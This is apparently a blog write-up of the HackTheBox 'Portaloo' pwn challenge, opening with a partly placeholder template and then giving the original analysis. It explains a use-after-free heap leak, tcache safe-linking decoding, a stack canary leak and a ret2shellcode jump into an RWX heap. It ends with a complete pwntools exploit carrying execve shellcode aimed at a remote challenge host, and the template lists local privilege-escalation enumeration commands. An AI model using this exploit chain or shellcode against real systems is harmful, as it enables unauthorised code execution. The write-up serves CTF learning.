← Back to Writeups
HTBN/APwn

Portaloo

XESXOR8/23/20268 min read
#pwn#htb#n/a

Portaloo

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-20 | Status: Solved Techniques: canary_null_byte_overwrite_leak, mprotect_rwx_abuse, shellcode_on_heap, stack_bof_ret2shellcode, tcache_safe_linking_bypass, uaf_heap_leak

Summary

Task: 64-bit PIE binary with heap UAF, mprotect making heap RWX, and stack buffer overflow with canary. Solution: Write shellcode to RWX heap, leak heap address via tcache safe-linking UAF, leak canary via null byte overwrite, stack smash to jump to shellcode.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260220_hackthebox_portaloo
  • Tags: pie, heap, shellcode, tcache, safe-linking, pwn, use-after-free, stack-overflow, rwx-heap, mprotect, canary-leak, glibc-2.35
  • Indicators: free() without NULLing pointer, mprotect makes heap RWX, read() overflow past stack canary, printf %s leaks canary after null byte overwrite, menu-based heap allocator
  • Source: 20260220_hackthebox_portaloo.md

Foothold

Vulnerability / Misconfiguration

  1. Canary_null_byte_overwrite_leak
  2. Mprotect_rwx_abuse
  3. Shellcode_on_heap
  4. Stack_bof_ret2shellcode
  5. Tcache_safe_linking_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • canary_null_byte_overwrite_leak
  • mprotect_rwx_abuse
  • shellcode_on_heap
  • stack_bof_ret2shellcode
  • tcache_safe_linking_bypass
  • uaf_heap_leak
  • Tags: pie, heap, shellcode, tcache, safe-linking, pwn, use-after-free, stack-overflow, rwx-heap, mprotect, canary-leak, glibc-2.35

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Portals... A gateway to other dimensions, where chaos meets creativity and the void greets you."

64-bit ELF PIE binary with full protections (Full RELRO, NX, Canary, PIE). Custom glibc 2.35 (Ubuntu GLIBC 2.35-0ubuntu3.8) provided. Remote target: 154.57.164.78:32357.

The binary is a portal management system with 5 menu options:

  1. Create Portalmalloc(0x20), stores pointer in slots[0] or slots[1]. On first allocation, calls mprotect() on the heap page with flags PROT_READ|PROT_WRITE|PROT_EXEC (7) — makes the heap RWX.
  2. Destroy Portalfree(slots[n]), but does NOT NULL the pointer (UAF).
  3. Upgrade Portalread(0, slots[n], 0x15) — writes 21 bytes to the portal.
  4. Peek into the Voidprintf("Coordinate: %d ---- Data: %.*s", 0x15, i, slots[i]) — reads portal data.
  5. Step into the Portal — stack buffer of 0x48 bytes. First read() for 0x50 bytes (8-byte overflow past buffer into canary). Second read() for 0x68 bytes (0x20-byte overflow — overwrites canary, saved rbp, return address). After this function, main calls exit(0).

Global Variables

  • slots[2] at address 0x4060 — array of 2 heap pointers
  • mprotect_called at address 0x4050 — flag ensuring mprotect is called only once

Protections

ProtectionStatus
PIE✅ Enabled
NX✅ Enabled (but heap is made RWX via mprotect!)
Canary✅ Enabled
RELROFull

Analysis

Vulnerability 1: RWX Heap (mprotect abuse)

In create_portal(), the first allocation triggers:

page_aligned = slots[n] & ~(page_size - 1);
mprotect(page_aligned, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);

This makes the entire heap page executable — perfect for shellcode.

Vulnerability 2: Use-After-Free (UAF)

destroy_portal() calls free(slots[n]), but never sets slots[n] = NULL. This means:

  • upgrade_portal() can write to freed chunks (write-after-free)
  • peek_into_the_void() can read from freed chunks (read-after-free / info leak)

Vulnerability 3: Stack Buffer Overflow in step_into_the_portal

char buf[0x48];  // at rbp-0x50

// First read — canary leak
read(0, buf, 0x50);  // 8 bytes overflow, overwrites canary LSB
printf("[!] Amazing option choosing %s", buf);  // leaks canary if null byte is overwritten

// Buffer is cleared
memset(buf, 0, 0x48);

// Second read — full overflow
read(0, buf, 0x68);  // 0x20 bytes overflow: canary + rbp + ret addr

Key point: after returning from step_into_the_portal, the main function calls exit(0), so we need to hijack control exactly when returning from step_into_the_portal, not from main.

Solution

Exploitation Strategy

┌─────────────────────────────────────────────────────────┐
│ 1. Create Portal 0 → mprotect → heap RWX               │
│ 2. Create Portal 1                                       │
│ 3. Upgrade Portal 0 → write 21-byte execve shellcode    │
│ 4. Destroy Portal 1 → free → tcache, fd = safe-linked   │
│ 5. Peek Portal 1 (UAF) → leak tcache fd → heap base     │
│ 6. Step into Portal → leak canary → smash stack → RCE   │
└─────────────────────────────────────────────────────────┘

Step 1: Creating Portals and RWX Heap

Create portal 0 — this triggers mprotect(), making the heap page RWX. Then create portal 1.

Step 2: Writing Shellcode to Heap

Write a 21-byte execve("/bin//sh", NULL, NULL) shellcode to portal 0 via Upgrade:

xor    rsi, rsi          ; 48 31 f6        — rsi = 0 (argv)
push   rsi               ; 56              — push 0 (null terminator)
movabs rdi, "/bin//sh"   ; 48 bf 2f 62 69 6e 2f 2f 73 68 — string in rdi
push   rdi               ; 57              — push string to stack
mov    rdi, rsp          ; 48 89 e7        — rdi = pointer to string
cdq                      ; 99              — rdx = 0 (envp)
mov    al, 0x3b          ; b0 3b           — syscall number execve
syscall                  ; 0f 05

Total: 3 + 1 + 10 + 1 + 3 + 1 + 2 + 2 = 21 bytes — fits exactly within the read(0, slots[n], 0x15) limit.

Step 3: Heap Address Leak via UAF

Free portal 1 — the chunk goes into tcache. In glibc 2.35, tcache uses safe linking:

fd_stored = real_next_ptr ^ (chunk_addr >> 12)

Since the tcache bin was empty, real_next_ptr = 0, therefore:

fd_stored = 0 ^ (chunk1_addr >> 12) = chunk1_addr >> 12

Read portal 1 via Peek (UAF) → get chunk1_addr >> 12 → recover heap base:

heap_key = u64(leaked_bytes.ljust(8, b'\x00'))
shellcode_addr = (heap_key << 12) + 0x2a0  # offset to chunk0 user data

The 0x2a0 offset is the distance from the heap page start to chunk 0's user data (where the shellcode resides).

Step 4: Stack Canary Leak

Call option 5 (Step into the Portal):

  • First read (0x50 bytes): send exactly 0x49 bytes — 0x48 bytes of padding + 1 byte to overwrite the canary's null LSB
  • printf("[!] Amazing option choosing %s", buf) — since the canary's null terminator is overwritten, %s continues reading past the buffer and outputs the remaining 7 bytes of the canary
  • Extract the 7 leaked bytes, prepend \x00 (canary LSB is always 0x00)

Step 5: Stack Smash → Jump to Shellcode

Second read (0x68 bytes) — construct payload:

[0x48 bytes padding] [8 bytes canary] [8 bytes fake rbp] [8 bytes ret addr → shellcode]

Function returns → RIP = shellcode address on RWX heap → execve("/bin/sh") → shell!

Full Exploit

from pwn import *

context.binary = './portaloo'
context.arch = 'amd64'

def create(io, idx):
    io.sendlineafter(b'>> ', b'1')
    io.sendlineafter(b'number: ', str(idx).encode())

def destroy(io, idx):
    io.sendlineafter(b'>> ', b'2')
    io.sendlineafter(b'number: ', str(idx).encode())

def upgrade(io, idx, data):
    io.sendlineafter(b'>> ', b'3')
    io.sendlineafter(b'number: ', str(idx).encode())
    io.sendafter(b'data: ', data)

def peek(io):
    io.sendlineafter(b'>> ', b'4')
    return io.recvuntil(b'-=[ Portaloo ]=-', drop=True)

# ── Connect ──────────────────────────────────────────────
io = remote('154.57.164.78', 32357)

# ── Step 1: Create portals (first triggers mprotect → RWX heap) ──
create(io, 0)
create(io, 1)

# ── Step 2: Write shellcode to portal 0 ──────────────────
# 21-byte execve("/bin//sh", NULL, NULL) shellcode
shellcode  = b"\x48\x31\xf6"                                    # xor rsi, rsi
shellcode += b"\x56"                                              # push rsi
shellcode += b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"      # movabs rdi, "/bin//sh"
shellcode += b"\x57"                                              # push rdi
shellcode += b"\x48\x89\xe7"                                    # mov rdi, rsp
shellcode += b"\x99"                                              # cdq (rdx=0)
shellcode += b"\xb0\x3b"                                        # mov al, 0x3b
shellcode += b"\x0f\x05"                                        # syscall
assert len(shellcode) == 21  # exactly 0x15 bytes
upgrade(io, 0, shellcode)

# ── Step 3: Leak heap address via UAF ────────────────────
destroy(io, 1)
leak_data = peek(io)

# Parse tcache safe-linked fd from freed chunk 1
# In glibc 2.35: fd_stored = real_next ^ (chunk_addr >> 12)
# Since tcache was empty: fd_stored = 0 ^ (chunk1_addr >> 12) = chunk1_addr >> 12
# Extract leaked bytes from peek output (after "Data: " field)
idx = leak_data.index(b'Data: ') + 6
leaked_bytes = leak_data[idx:idx+6]
heap_key = u64(leaked_bytes.ljust(8, b'\x00'))
shellcode_addr = (heap_key << 12) + 0x2a0  # offset to chunk0 user data
log.info(f"Heap key: {hex(heap_key)}")
log.info(f"Shellcode addr: {hex(shellcode_addr)}")

# ── Step 4: Leak stack canary ────────────────────────────
io.sendlineafter(b'>> ', b'5')

# First read: 0x48 padding + 1 byte to overwrite canary's null LSB
io.sendafter(b'with you?\n', b'A' * 0x48 + b'B')
resp = io.recvuntil(b'Any last words')

# Canary starts right after our 0x49 bytes of output
# printf("%s") leaks past buffer into canary (null terminator was overwritten)
canary_offset = resp.index(b'A' * 0x10) + 0x48 + 1  # after padding + 'B'
canary_bytes = resp[canary_offset:canary_offset + 7]
canary = u64(b'\x00' + canary_bytes[:7])
log.info(f"Canary: {hex(canary)}")

# ── Step 5: Stack smash → jump to shellcode ──────────────
payload  = b'A' * 0x48       # buffer padding
payload += p64(canary)        # correct canary
payload += p64(0)             # fake saved rbp
payload += p64(shellcode_addr)  # return address → shellcode on RWX heap
io.sendafter(b'words: ', payload)

# ── Shell! ───────────────────────────────────────────────
io.interactive()

Notes

  • Shellcode is exactly 21 bytes — fits precisely within the read(0, ptr, 0x15) limit. If the limit were smaller, staged shellcode or another approach would be needed.
  • The 0x2a0 offset from heap page start to chunk 0's user data depends on the allocator and may differ across glibc versions. Determined empirically via GDB.
  • exit(0) in main after step_into_the_portal() means RIP hijack must occur when returning from the nested function, not from main.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR